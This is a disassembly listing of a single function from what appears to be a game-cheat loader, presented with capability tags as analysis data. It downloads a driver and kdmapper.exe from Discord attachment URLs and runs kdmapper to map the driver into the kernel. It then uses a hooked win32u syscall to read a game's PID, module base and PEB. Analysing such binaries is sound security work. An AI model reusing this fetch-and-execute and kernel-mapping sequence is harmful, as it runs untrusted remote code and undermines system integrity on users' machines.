Function at 0x14004ac40
Capabilities:
Download url
Execute command
Get common file path
Receive data

Disassembly:
push rbp
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x1400841c0]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
xor edx, edx
lea rcx, [rbp + 0x90]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
mov edx, 0x104
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea r8, [rbp + 0x90]
lea rdx, str.C:WindowsCursorsAstra1.sys
lea rcx, [rbp - 0x80]
call fcn.140019260
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [rbp - 0x80]
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_823808507362803723_1043329141715505234_modern_warfare_driver.sys
call sub.urlmon.dll_URLDownloadToFileA
lea r8, [rbp + 0x90]
lea rdx, str.C:WindowsCursorskdmapper.exe
lea rcx, [rbp - 0x80]
call fcn.140019260
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [rbp - 0x80]
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_974134517205966898_989764532295569428_map.exe
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, str.C:WindowsCursorskdmapper.exe_C:WindowsCursorsAstra1.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140053838]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r8, [0x14005383c]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x14004ad57
mov r9d, 0x40040
lea r8, str.Information
lea rdx, str.Cheat_is_already_running__press_END_to_close_it
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 0x646f633d
lea rax, [rsp + 0x31]
mov dword [rsp + 0x34], 0x6578652e
movups xmmword [rsp + 0x60], xmm0
xor r9d, r9d
mov byte [rsp + 0x60], 1
lea r8, [rsp + 0x78]
mov byte [rsp + 0x38], 0
xor edx, edx
mov qword [rsp + 0x70], rax
lea rcx, [0x140084b20]
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_InitOnceBeginInitialize]
test eax, eax
jne 0x14004adaf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
cmp dword [rsp + 0x78], 0
je 0x14004addd
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
lea rcx, [0x140084b20]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_InitOnceComplete]
test eax, eax
je 0x14004b0f6
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtOpenCompositionSurfaceSectionInfo
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x40]
call rax
mov rax, qword [rsp + 0x58]
mov qword [0x140084630], rax
test rax, rax
jne 0x14004ae35
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._D1__Failed_to_get_PID_
call fcn.1400452f0
lea rdx, [0x1400459f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._D1__PID:
call fcn.1400452f0
mov rdx, qword [0x140084630]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x1400459f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov byte [0x140084826], 0
xorps xmm0, xmm0
mov qword [rsp + 0x70], rax
mov rax, qword [0x140084630]
lea r8, [rsp + 0x78]
movups xmmword [rsp + 0x60], xmm0
xor r9d, r9d
xor edx, edx
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x58], rax
lea rcx, [0x140084b20]
lea rax, [rsp + 0x31]
mov dword [rsp + 0x30], 0x646f6303
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x34], 0x6578652e
mov byte [rsp + 0x38], 0
movups xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x61], 1
call qword [sym.imp.KERNEL32.dll_InitOnceBeginInitialize]
test eax, eax
jne 0x14004aeda
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
cmp dword [rsp + 0x78], 0
je 0x14004af08
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
lea rcx, [0x140084b20]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_InitOnceComplete]
test eax, eax
je 0x14004b0fc
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtOpenCompositionSurfaceSectionInfo
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x40]
call rax
mov rax, qword [rsp + 0x40]
mov qword [0x140084638], rax
test rax, rax
jne 0x14004af60
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Failed_to_get_ModuleBase_
call fcn.1400452f0
lea rdx, [0x1400459f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._D1__ModBase:
call fcn.1400452f0
lea rdx, [0x14004ac10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdx, qword [0x140084638]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x14004abe0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x1400459f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
lea r8, [rsp + 0x78]
xor eax, eax
lea rcx, [0x140084b20]
mov qword [rsp + 0x70], rax
xor r9d, r9d
mov rax, qword [0x140084630]
xor edx, edx
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x58], rax
movups xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x62], 1
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_InitOnceBeginInitialize]
test eax, eax
jne 0x14004afff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
cmp dword [rsp + 0x78], 0
je 0x14004b02d
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
lea rcx, [0x140084b20]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_InitOnceComplete]
test eax, eax
je 0x14004b0f0
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtOpenCompositionSurfaceSectionInfo
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x40]
call rax
mov rax, qword [rsp + 0x40]
mov qword [0x140084640], rax
test rax, rax
jne 0x14004b085
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Failed_to_get_PEB_
call fcn.1400452f0
lea rdx, [0x1400459f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._D1__PEB_ADDR:
call fcn.1400452f0
lea rdx, [0x14004ac10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdx, qword [0x140084640]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x14004abe0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x1400459f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.14004bf80
add rsp, 0x2b0
pop rbp
ret
call fcn.14004cc40
int3
call fcn.14004cc40
int3
call fcn.14004cc40
int3